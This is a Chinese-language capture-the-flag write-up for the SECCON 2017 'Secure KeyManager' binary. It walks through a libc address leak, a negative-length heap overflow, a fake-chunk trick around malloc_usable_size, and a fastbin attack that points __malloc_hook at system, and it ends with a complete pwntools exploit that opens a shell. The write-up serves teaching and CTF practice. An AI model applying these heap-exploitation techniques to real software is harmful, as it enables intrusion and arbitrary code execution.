SECCON 2017 Online CTF - Secure KeyManager

`36 solved | 400 points`

> Arch: amd64-64-little
> RELRO: Partial RELRO
> Stack: Canary found
> NX: NX enabled
> PIE: No PIE (0x400000)

概要

程序开始后我们面临如下选项：

> Set Your Account Name >>
> Set Your Master Pass >>

输入的account和master为两个大小为0x10的全局变量,然后程序就进入菜单流程：

> 1.add
> 2.show
> 3.edit
> 4.remove
> 9.change master pass
> 0.exit

Add

Add功能用于创建名为KEY的结构体，结构体如下所示：

```
struct KEY{
     char title[0x20];
     char key[length];
}
```

当我们创建一个KEY时，首先输入成员变量key的长度length，程序调用malloc为结构体分配大小为0x20+length的堆块，然后输入title和key，title最大长度为0x20，key最大长度则为length，最后全局数组key_list[index]记录结构体指针，全局数据key_map标记key_list上的对应位置是否处于使用状态， ida F5后的代码如下所示：

```
int add_key()
{
    int index = 0;
    while ( (signed int)index <= 7 && key_map[(signed __int64)(signed
int)index] )
        index = index + 1;
    if ( (signed int)index <= 7 )
    {
        puts("ADD KEY");
        printf("Input key length...", index);
        length = getint();
        ptr = malloc(length + 0x20LL);
        if ( ptr )
        {
            printf("Input title...");
            getnline((const char *)ptr, 0x20);
            printf("Input key...", 0x20);
            getnline((const char *)ptr + 0x20, length);
            *(&key_list + index) = ptr;
            result = index_1;
            key_map[(signed __int64)index] = 1;
        }
        else
            result = puts("can not allocate...");
    }
    else
        result = puts("can't add key any more...");
    return result;
}
```

Edit

Edit功能可以修改已经创建的结构体的成员变量key,修改可输入的长度由malloc_usable_size()函数返回

```
int edit_key()
{
    puts("EDIT KEY");
    result = check_account();
    if ( result )
    {
        printf("Input id to edit...");
        id = getint();
        if ( id >= 0 && id <= 7 )
        {
            if ( key_map[(signed __int64)id] )
            {
                printf("Input new key...");
                v1 = malloc_usable_size(*(&key_list + id));
                result = getnline((const char *)*(&key_list + id) + 32, v
1 - 32);
            }
            else
                result = puts("not exits...");
        }
        else
            result = puts("out of length");
      }
      return result;
}
```

Remove

Remove 可以释放已经被分配的堆块，并将key_map对应位置0，杜绝了UAF漏洞的存在。

```c
int remove_key()
{
  puts("REMOVE KEY");
  result = check_account();
  if ( result )
  {
    printf("Input id to remove...");
    id = getint();
    if ( id >= 0 && id <= 7 )
    {
      if ( *(&key_list + id) )
      {
        free(*(&key_list + id));
        result = id;
        key_map[(signed __int64)id] = 0;
      }
      else
        result = puts("not exits...");
    }
    else
      result = puts("out of length");
  }
  return result;
}
```

Change master pass

Change master pass可以修改master的值，不过首先要通过check_account()的检查，check_account会要求你再次输入account和master

```
signed __int64 change_master()
{
  result = check_account();
  if ( (_DWORD)result )
  {
    printf("Set New Master Pass >> ");
    result = read(0, master, 0x10uLL);
  }
  return result;
}

signed __int64 check_account()
{
  printf("Input Account Name >> ");
  read(0, &buf, 0x40uLL);
  if ( !strcmp(account, &buf) )
  {
    if ( master[0] )
    {
      printf("Input Master Pass >> ", &buf);
      read(0, &buf, 0x40uLL);
      if ( !strcmp(master, &buf) )
        result = 1LL;

      else
      {
        puts("Wrong Pass...");
        result = 0LL;
      }
    }
    else
      result = 1LL;
  }
  else
  {
    printf("Account '%s' does not exist...\n", &buf);
    result = 0LL;
  }
  v1 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}
```

渗透

完成了初步分析之后，我们开始一步步实现渗透，首先从leak libc开始

Leak libc

如果想要使用Change master pass功能，首先得通过check_account的验证，check_account使用read接收输入，这意味着输入的字符串不会被'\x00'截断。当输入一个错误的account时，程序会打印输入，通过调试可以构造出合适长度的account来实现libc info leak from stack，这是一种常见了info leak手段。

```
account = master = "ok"
reg(account, master)
info = leak('9', 'A' * 0x18)
```

```
gdb-peda$ x/4gx $rax
0x7ffee72469c0: 0x5858585858585858  0x5858585858585858
0x7ffee72469d0: 0x5858585858585858  0x00007faba5e3e620
gdb-peda$ x 0x00007faba5e3e620
0x7faba5e3e620 <_IO_2_1_stdout_>:   0x00000000fbad2887
```

Heap overflow

Add功能允许我们自定义要分配的堆块大小，当输入的length在-8~-32之间时，malloc分配得到的chunk大小为0x20，扣去两个控制字段pre_size和size后，实际由malloc返回的堆块大小仅为0x10，这时输入title会造成堆溢出，可以覆盖相邻高地址chunk的size字段。

Malloc chunk 0:

```
0xf74000:   0x0000000000000000  0x0000000000000021 <-- chunk 0
0xf74010:   0x0000000000313131  0x0000000000000000
0xf74020:   0x0000000000000000  0x0000000000020fe1 <-- top chunk
0xf74030:   0x0000000000000000  0x0000000000000000
```

Free chunk 0 and malloc again:

```
0xf74000:   0x0000000000000000  0x0000000000000021 <-- chunk 0
0xf74010:   0x3131313131313131  0x3131313131313131
0xf74020:   0x3131313131313131  0x0000000031313131 <-- top chunk
0xf74030:   0x0000000000000000  0x0000000000000000
```

从上面的操作看到，我们成功了修改相邻chunk的size字段的值。

Edit功能根据malloc_usable_size确定输入长度，我们来看一下malloc_usable_size的源码：

```
size_t __malloc_usable_size (void *m)
{
  size_t result;
  result = musable (m);
  return result;
}
```

```
static size_t musable (void *mem)
{
  mchunkptr p;
  if (mem != 0)
  {
      p = mem2chunk (mem);
      if (__builtin_expect (using_malloc_checking == 1, 0))
          return malloc_check_get_size (p);
      if (chunk_is_mmapped (p))
      {
          if (DUMPED_MAIN_ARENA_CHUNK (p))
              return chunksize (p) - SIZE_SZ;
          else
              return chunksize (p) - 2 * SIZE_SZ;
      }
      else if (inuse (p))
          return chunksize (p) - SIZE_SZ;
  }
  return 0;
}
```

```
/* extract p's inuse bit */
#define inuse(p)                                              \
  ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_I
NUSE)
```

分析malloc_usable_size的源码，首先调用inuse 来检查传入的chunk是否处于使用状态，检查方式为查看与当前chunk相邻的下一个chunk上size字段的p位为是否为1，如果chunk处于使用状态，返回值为chunk->size - SIZE_SZ。如果结合Add功能的堆溢出漏洞来修改chunk->size并伪造一个相邻chunk来满足inuse 检查的话，我们可以在Edit功能里实现长度更长的堆溢出。

step 1:

```
add('A', 'A', '-32')    #chunk 0
add('B', 'B', 0x10)     #chunk 1
fake = p64(0)*3
fake += p32(0x71)       #fake chunk
add(fake, 'C', 0x48, 0)#chunk 2
```

```
0x1fad000:  0x0000000000000000  0x0000000000000021  <-- chunk 0
0x1fad010:  0x0000000000000041  0x0000000000000000
0x1fad020:  0x0000000000000000  0x0000000000000041  <-- chunk 1
0x1fad030:  0x0000000000000042  0x0000000000000000
0x1fad040:  0x0000000000000000  0x0000000000000000
0x1fad050:  0x0000000000000042  0x0000000000000000
0x1fad060:  0x0000000000000000  0x0000000000000071  <-- chunk 2
0x1fad070:  0x0000000000000043  0x0000000000000000
0x1fad080:  0x0000000000000000  0x0000000000000000
0x1fad090:  0x0000000000000000  0x0000000000000000
0x1fad0a0:  0x0000000000000000  0x0000000000000071  <-- fake chunk
0x1fad0b0:  0x0000000000000000  0x0000000000000000
0x1fad0c0:  0x0000000000000000  0x0000000000000000
0x1fad0d0:  0x0000000000000000  0x0000000000020f31  <-- top chunk
```

step 2:

```
delete(0) #free chunk 0
payload = 'A' * 8*3
payload += p32((0x40*2) + 0x1)
payload += chr(0)*2
add('A', payload, '-32', 0) #overwrite chunk1->size
```

```
0x1fad000:  0x0000000000000000  0x0000000000000021  <-- chunk 0
0x1fad010:  0x4141414141414141  0x4141414141414141
0x1fad020:  0x4141414141414141  0x0000000000000081  <-- chunk 1's size is
 modified
0x1fad030:  0x0000000000000042  0x0000000000000000
0x1fad040:  0x0000000000000000  0x0000000000000000
0x1fad050:  0x0000000000000042  0x0000000000000000
0x1fad060:  0x0000000000000000  0x0000000000000071  <-- chunk 2
0x1fad070:  0x0000000000000000  0x0000000000000000
0x1fad080:  0x0000000000000000  0x0000000000000000
0x1fad090:  0x0000000000000000  0x0000000000000000
0x1fad0a0:  0x0000000000000000  0x0000000000000071  <-- fake chunk
                                                        chunk1 + chunk1->
size = fake chunk
                                                        fake chunk->size
 & PREV_INUSE == 0x01
                                                        bypass the inuse
() check
0x1fad0b0:  0x0000000000000000  0x0000000000000000
0x1fad0c0:  0x0000000000000000  0x0000000000000000
0x1fad0d0:  0x0000000000000000  0x0000000000020f31
```

step 3:

```
payload = 'B' * 0x8*5
edit(1, payload)# overwrite chunk 2
```

```
0x1fad000:  0x0000000000000000  0x0000000000000021  <-- chunk 0
0x1fad010:  0x4141414141414141  0x4141414141414141
0x1fad020:  0x4141414141414141  0x0000000000000081  <-- chunk 1
0x1fad030:  0x0000000000000042  0x0000000000000000
0x1fad040:  0x0000000000000000  0x0000000000000000
0x1fad050:  0x4242424242424242  0x4242424242424242
0x1fad060:  0x4242424242424242  0x4242424242424242  <-- chunk 2
0x1fad070:  0x4242424242424242  0x0000000000000000
0x1fad080:  0x0000000000000000  0x0000000000000000
0x1fad090:  0x0000000000000000  0x0000000000000000
0x1fad0a0:  0x0000000000000000  0x0000000000000071  <-- fake chunk
0x1fad0b0:  0x0000000000000000  0x0000000000000000
0x1fad0c0:  0x0000000000000000  0x0000000000000000
0x1fad0d0:  0x0000000000000000  0x0000000000020f31
```

通过上述操作，我们实现了更大范围的堆溢出，而不是再局限于覆盖相邻chunk的size字段，我们可以用它覆盖相邻chunk上的FD/BK指针，来实现最后的攻击——利用fastbin attack劫持malloc_hook.

Fastbin attack

fastbin所包含chunk的大小为0x20 Bytes, 0x30 Bytes, 0x40 Bytes, … , 0x80 Bytes。当分配一块较小的内存(mem<=0x80 Bytes)时，首先检查对应大小的fastbin中是否包含未被使用的chunk，如果存在则直接将其从fastbin中移除并返回；否则通过其他方式（剪切top chunk）得到一块符合大小要求的chunk并返回。

fastbin为单链表，fastbin为了快速分配回收这些较小size的chunk，并没对bk进行操作，即仅仅通过fd组成了单链表，而且其遵循后进先出(LIFO)的原则。

本题存在着堆溢出漏洞，分配一个fastbin然后释放掉，伪造chunk结构，再利用堆溢出修改被释放的fastbin的fd指针为伪造chunk的地址，利用malloc将伪造的chunk分配出来，可以实现任意地址写。

```
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";
```

malloc断开fastbin链表取出chunk时存在一个检查，要求被分配的chunk的size属于这个fastbin，否则会出现memory corruption(fast) 的错误，因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

```
gdb-peda$ x/10x 0x7f5b10f16ae0
0x7f5b10f16ae0 <_IO_wide_data_0+288>:   0x0000000000000000  0x00000000000
00000
0x7f5b10f16af0 <_IO_wide_data_0+304>:   0x00007f5b10f15260  0x00000000000
00000
0x7f5b10f16b00 <__memalign_hook>:   0x00007f5b10bd7e20  0x00007f5b10bd7a0
0
0x7f5b10f16b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000
0x7f5b10f16b20 <main_arena>:    0x0000000000000000  0x0000000000000000
```

_IO_wide_data_0+304地址的第0xd个字节为0x7f，我们就可以利用错位来构造伪chunk，将fastbin的fd指向malloc_hook- 0x30 + 0xd的位置

```
gdb-peda$ telescope 0x7f5b10f16aed
0000| 0x7f5b10f16aed --> 0x5b10f15260000000 <-- fake fastbin
0008| 0x7f5b10f16af5 --> 0x7f               <-- fake fastbin size
0016| 0x7f5b10f16afd --> 0x5b10bd7e20000000
0024| 0x7f5b10f16b05 --> 0x5b10bd7a0000007f
0032| 0x7f5b10f16b0d --> 0x7f
0040| 0x7f5b10f16b15 --> 0x0
```

完成malloc_hook的劫持后，我们将其改为system函数的地址。这样，程序调用malloc时，相当于调用了system

```
.text:0000000000400ADD                 call    getint
.text:0000000000400AE2                 mov     [rbp+var_C], eax
.text:0000000000400AE5                 mov     eax, [rbp+var_C]
.text:0000000000400AE8                 cdqe
.text:0000000000400AEA                 add     rax, 20h
.text:0000000000400AEE                 mov     rdi, rax        ; size
.text:0000000000400AF1                 call    _malloc
```

由于malloc函数的参数由getint()返回，为一个4字节的数，这样我们所传入的”/bin/sh”的地址只能在4字节以内。回到程序刚开始的地方，我们输入了两个全局变量account和master，他们的地址为0x6020C0和0x602130，满足4字节以内的要求，那么就可以将”/bin/sh”放在那里，愉快的getshell了。附上完整的exp:

```
from pwn import *

c = process('./secure_keymanager')
#c = remote('secure_keymanager.pwn.seccon.jp', 47225)
stdout_so = 0x3c5620
malloc_so = 0x3c4b10
system_so = 0x045390

def add(_key, title, size='', line=1):
  if size is '':
    size = len(key)
  c.sendline('1')
  c.recvuntil('Input key length...')
  c.sendline(str(size))
  c.recvuntil('Input title...')
  if line:
    c.sendline(title)
  else:
    c.send(title)
  if int(str(size), 10) > 1:
    c.recvuntil('Input key...')
    if line:
      c.sendline(_key)
    else:
      c.send(_key)

def edit(id, _key, line=1):
  c.sendline('3')
  c.recvuntil('Input Account Name >> ')
  c.sendline(account)
  c.recvuntil('Input Master Pass >> ')
  c.sendline(master)
  c.recvuntil('Input id to edit...')
  c.sendline(str(id))
  c.recvuntil('Input new key...')
  if line:
    c.sendline(_key)
  else:
    c.send(_key)
def delete(id, ok=1):
  c.sendline('4')
  c.recvuntil('Input Account Name >> ')
  c.sendline(account)
  c.recvuntil('Input Master Pass >> ')
  c.sendline(master)
  c.recvuntil('Input id to remove...')
  c.sendline(str(id))
  if ok:
    c.recvuntil('>>')

def reg(account,master):
```

```
    c.recvuntil('>>')
    c.sendline(account)
    c.recvuntil('>>')
    c.sendline(master)

account = "/bin/sh\x00"
master = 'ok\x00'

reg(account,master)
c.sendline('9')
c.recvuntil('>>')
payload = 'X' * 0x18
c.send(payload)
c.recvuntil(payload)

libc_leak = u64(c.recv(6).ljust(8, chr(0)))
libc_base = libc_leak - stdout_so
__malloc_hook = libc_base + malloc_so
system = libc_base + system_so
print "libc_base @ " + hex(libc_base)
print "malloc_hook @ " + hex(__malloc_hook)

add('A', 'A', '-32')
add('B', 'B', 0x10)
fake = p64(0)*3
fake += p32(0x71)
add(fake, 'C', 0x48, 0)

delete(0)
delete(2)

payload = 'A' * 8*3
payload += p32((0x40*2) + 0x1)
payload += chr(0)*2
add('A', payload, '-32', 0)

target = __malloc_hook - 0x30 + 0xd

payload = 'B' * 0x8*3
payload += p64(0x71)
payload += p64(target)
edit(1, payload)

add('E', 'E', 0x48)
payload = 'F' * 0x13
payload += p64(system)
add('F', payload, 0x48, 0)

c.sendline("1")
c.sendline(str(0x6020C0 - 0x20))

c.interactive()
```

写在最后

此题的解题套路有很多，因为自身水平有限所以只会用fastbin attack来解orz,最后能做出来也纯属运气，刚好出题人设置了全局变量来leak libc，否则通过malloc_hook来调用system是无法传参的，而把malloc_hook劫持为one_gadget的话在本题是行不通的，所有的gadget都无法拿到shell。